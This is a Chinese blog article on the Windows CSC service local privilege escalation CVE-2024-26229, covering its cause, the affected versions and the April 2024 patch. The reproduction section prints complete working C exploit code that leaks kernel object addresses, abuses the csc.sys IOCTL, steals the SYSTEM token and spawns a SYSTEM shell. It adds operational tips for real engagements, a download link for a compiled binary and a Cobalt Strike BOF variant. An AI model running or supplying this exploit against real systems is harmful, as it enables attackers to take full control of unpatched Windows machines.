Windows CSC服务特权提升漏洞(CVE-2024-26229)

2024-06-18 06:28

本文主要是介绍Windows CSC服务特权提升漏洞(CVE-2024-26229),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 前言
  • 声明
  • 一、漏洞描述
  • 二、漏洞成因
  • 三、影响版本
  • 四、漏洞复现
  • 五、CVE-2024-26229 BOF
  • 六、修复方案


前言

Windows CSC服务特权提升漏洞。 当程序向缓冲区写入的数据超出其处理能力时,就会发生基于堆的缓冲区溢出,从而导致多余的数据溢出到相邻的内存区域。这种溢出会损坏内存,并可能使攻击者能够执行任意代码或未经授权访问系统。


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

当程序向缓冲区写入的数据超出其处理能力时,就会发生基于堆的缓冲区溢出,从而导致多余的数据溢出到相邻的内存区域。这种溢出会损坏内存,并可能使攻击者能够执行任意代码或未经授权访问系统。本质上,攻击者可以编写触发溢出的恶意代码或输入,从而控制受影响的系统、执行任意命令、安装恶意软件或访问敏感数据。

二、漏洞成因

(CVE-2024-26229)Windows CSC服务特权提升漏洞,csc.sys驱动程序中带有METHOD_NEITHER I/O控制代码的IOCTL地址验证不正确。当IOCTL使用METHOD_NEITHER选项进行I/O控制时,IOCTL有责任验证提供给它的地址,如果验证缺失或不正确,攻击者可以提供任意内存地址,从而导致代码执行拒绝服务

三、影响版本

Windows Server 2022, 23H2 Edition (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 11 Version 23H2 for x64-based Systems
Windows 11 Version 23H2 for ARM64-based Systems
Windows 10 Version 22H2 for 32-bit Systems
Windows 10 Version 22H2 for ARM64-based Systems
Windows 10 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for ARM64-based Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 version 21H2 for ARM64-based Systems
Windows 11 version 21H2 for x64-based Systems
Windows Server 2012 R2 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

四、漏洞复现

利用条件:这个提权漏洞需要目标主机启用csc服务,可以使用sc qc csc 命令查询,START_TYPE为DISABLED禁用SYSTEM_START启用

Tips:2008/2012没有这服务(无法利用),2016/2019/2022有该服务,但是默认都禁用了,而且没法启动。实战项目测试中如果遇到Win 10/11时可以试试用这个exp来提权,而且大概率能绕过一些防护的拦截。
在这里插入图片描述
本地复现环境为
在这里插入图片描述
脚本如下:

#/* PoC Info
-------------------------------------------
Vulnerability:	CVE-2024-26229
Environment:	Windows 11 22h2 Build 22621
-------------------------------------------
*/
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>// I use ntdllp.lib private library from VS SDK to avoid GetProcAddress for Nt* functions
#pragma comment(lib, "ntdllp.lib")
#define STATUS_SUCCESS 0#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET			0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET	0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3 // vuln ioctl#define SystemHandleInformation			0x10
#define SystemHandleInformationSize		0x400000 enum _MODE
{KernelMode = 0,UserMode = 1
};typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;typedef struct _SYSTEM_HANDLE_INFORMATION
{ULONG NumberOfHandles;SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;//
// Get the kernel object pointer for the specific process by it's handle
// 
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle){int32_t Ret = -1;PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;ULONG ulBytes = 0;NTSTATUS Status = STATUS_SUCCESS;//// Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH//while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L){if (pHandleInfo != NULL){pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);}else{pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);}}if (Status != NULL){Ret = Status;goto done;}for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++){if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle)){*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;Ret = 0;break;}}done:if (pHandleInfo != NULL){HeapFree(GetProcessHeap, 0, pHandleInfo);}return Ret;
}//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{NTSTATUS Status = 0;size_t cbNumOfBytesWrite = 0;Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);if (!NT_SUCCESS(Status)) {return -1;}return Status;
}//
//
//
NTSTATUS Exploit()
{UNICODE_STRING  objectName = { 0 };OBJECT_ATTRIBUTES objectAttr = { 0 };IO_STATUS_BLOCK iosb = { 0 };HANDLE handle;NTSTATUS status = 0;//// Initialize kernel objects to leak//uintptr_t Sysproc = 0;uintptr_t Curproc = 0;uintptr_t Curthread = 0;uintptr_t Token = 0;HANDLE hCurproc = 0;HANDLE hThread = 0;uint32_t Ret = 0;uint8_t mode = UserMode;RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);if (!NT_SUCCESS(status)){printf("[-] NtCreateFile failed with status = %x\n", status);return status;}//// Leak System _EPROCESS kernel address// Ret = GetObjPtr(&Sysproc, 4, 4);if (Ret != NULL){return Ret;}printf("[+] System EPROCESS address = %llx\n", Sysproc);//// Leak current _KTHREAD kernel address//hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());if (hThread != NULL){Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);if (Ret != NULL){return Ret;}printf("[+] Current THREAD address = %llx\n", Curthread);}//// Leak current _EPROCESS kernel address//hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());if (hCurproc != NULL){Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);if (Ret != NULL){return Ret;}printf("[+] Current EPROCESS address = %llx\n", Curproc);}//// Sending the payload to the csc.sys driver to trigger the bug//status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);if (!NT_SUCCESS(status)){printf("[-] NtFsControlFile failed with status = %x\n", status);return status;}printf("[!] Leveraging DKOM to achieve LPE\n");printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);//// Restoring KTHREAD->PreviousMode//Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);//// spawn the shell with "nt authority\system"//system("cmd.exe");return STATUS_SUCCESS;
}int main()
{NTSTATUS status = 0;status = Exploit();return status;
}

编译好的exe在这下载点击前往
编译完成后直接在本地运行能够成功利用
在这里插入图片描述

五、CVE-2024-26229 BOF

CVE-2024-26229-BOF工具利用起来更简单更好(内存执行,无需落地),使用inline-execute执行BOF文件即可将当前Beacon提升为SYSTEM。

下载地址:

https://github.com/NVISOsecurity/CVE-2024-26229-BOF

编译:

gcc -c CVE-2024-26229-bof.c -o CVE-2024-26229-bof.o

在这里插入图片描述

六、修复方案

该漏洞已于2024年4月9日修复,详情请参阅如下

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26229

这篇关于Windows CSC服务特权提升漏洞(CVE-2024-26229)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1071546

相关文章

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

sysmain服务可以禁用吗? 电脑sysmain服务关闭后的影响与操作指南

《sysmain服务可以禁用吗?电脑sysmain服务关闭后的影响与操作指南》在Windows系统中,SysMain服务(原名Superfetch)作为一个旨在提升系统性能的关键组件,一直备受用户关... 在使用 Windows 系统时,有时候真有点像在「开盲盒」。全新安装系统后的「默认设置」,往往并不尽编

Python 基于http.server模块实现简单http服务的代码举例

《Python基于http.server模块实现简单http服务的代码举例》Pythonhttp.server模块通过继承BaseHTTPRequestHandler处理HTTP请求,使用Threa... 目录测试环境代码实现相关介绍模块简介类及相关函数简介参考链接测试环境win11专业版python

深度剖析SpringBoot日志性能提升的原因与解决

《深度剖析SpringBoot日志性能提升的原因与解决》日志记录本该是辅助工具,却为何成了性能瓶颈,SpringBoot如何用代码彻底破解日志导致的高延迟问题,感兴趣的小伙伴可以跟随小编一起学习一下... 目录前言第一章:日志性能陷阱的底层原理1.1 日志级别的“双刃剑”效应1.2 同步日志的“吞吐量杀手”

Nginx中配置使用非默认80端口进行服务的完整指南

《Nginx中配置使用非默认80端口进行服务的完整指南》在实际生产环境中,我们经常需要将Nginx配置在其他端口上运行,本文将详细介绍如何在Nginx中配置使用非默认端口进行服务,希望对大家有所帮助... 目录一、为什么需要使用非默认端口二、配置Nginx使用非默认端口的基本方法2.1 修改listen指令

Java利用@SneakyThrows注解提升异常处理效率详解

《Java利用@SneakyThrows注解提升异常处理效率详解》这篇文章将深度剖析@SneakyThrows的原理,用法,适用场景以及隐藏的陷阱,看看它如何让Java异常处理效率飙升50%,感兴趣的... 目录前言一、检查型异常的“诅咒”:为什么Java开发者讨厌它1.1 检查型异常的痛点1.2 为什么说

SysMain服务可以关吗? 解决SysMain服务导致的高CPU使用率问题

《SysMain服务可以关吗?解决SysMain服务导致的高CPU使用率问题》SysMain服务是超级预读取,该服务会记录您打开应用程序的模式,并预先将它们加载到内存中以节省时间,但它可能占用大量... 在使用电脑的过程中,CPU使用率居高不下是许多用户都遇到过的问题,其中名为SysMain的服务往往是罪魁

解决若依微服务框架启动报错的问题

《解决若依微服务框架启动报错的问题》Invalidboundstatement错误通常由MyBatis映射文件未正确加载或Nacos配置未读取导致,需检查XML的namespace与方法ID是否匹配,... 目录ruoyi-system模块报错报错详情nacos文件目录总结ruoyi-systnGLNYpe

Nginx进行平滑升级的实战指南(不中断服务版本更新)

《Nginx进行平滑升级的实战指南(不中断服务版本更新)》Nginx的平滑升级(也称为热升级)是一种在不停止服务的情况下更新Nginx版本或添加模块的方法,这种升级方式确保了服务的高可用性,避免了因升... 目录一.下载并编译新版Nginx1.下载解压2.编译二.替换可执行文件,并平滑升级1.替换可执行文件

Spring Boot 与微服务入门实战详细总结

《SpringBoot与微服务入门实战详细总结》本文讲解SpringBoot框架的核心特性如快速构建、自动配置、零XML与微服务架构的定义、演进及优缺点,涵盖开发环境准备和HelloWorld实战... 目录一、Spring Boot 核心概述二、微服务架构详解1. 微服务的定义与演进2. 微服务的优缺点三